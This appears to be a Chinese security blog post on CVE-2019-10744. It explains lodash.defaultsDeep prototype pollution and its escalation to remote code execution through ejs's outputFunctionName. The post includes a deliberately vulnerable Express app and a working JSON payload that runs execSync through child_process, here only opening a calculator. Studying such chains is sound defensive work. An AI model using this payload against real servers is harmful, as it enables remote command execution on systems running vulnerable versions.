Express+lodash+ejs原型链污染RCE

  1. 1. Express+lodash+ejs原型链污染RCE
    1. 1.1. lodash.defaultsDeep 方法造成的原型链污染(CVE-2019-10744)
    2. 1.2. 原型链->RCE

Express+lodash+ejs原型链污染RCE

lodash.defaultsDeep 方法造成的原型链污染(CVE-2019-10744)

2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。

Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype

1
2
3
4
5
6
7
8
9
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
mergeFn({}, JSON.parse(payload));
console.log(Object.whoami)
}

check();

1645014128315.png

1645014176125.png

原型链->RCE

简单的应用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const ejs = require('ejs');

const app = express();

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())

app.set('views', './');
app.set('view engine', 'ejs');


app.get("/", (req, res) => {
res.render('index');
});

app.post("/", (req, res) => {
let data = {};
let input = JSON.parse(req.body.content);
lodash.defaultsDeep(data, input);
res.json({message: "OK"});
});

let server = app.listen(8086, '0.0.0.0', function() {
console.log('Listening on port %d', server.address().port);
});

断点res.render(‘index’);调试之后来到ejs库的compile函数

1645063124436.png

这里有个命令注入,outputFunctionName默认undefined,利用lodash.defaultsDeep污染outputFunctionName键,造成命令注入。

payload

{"type":"constructor","content":{"constructor":{"prototype":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('open -a calculator');//"}}}}

污染之后

1645063990685.jpeg

post之后get访问/触发render

1645063432732.png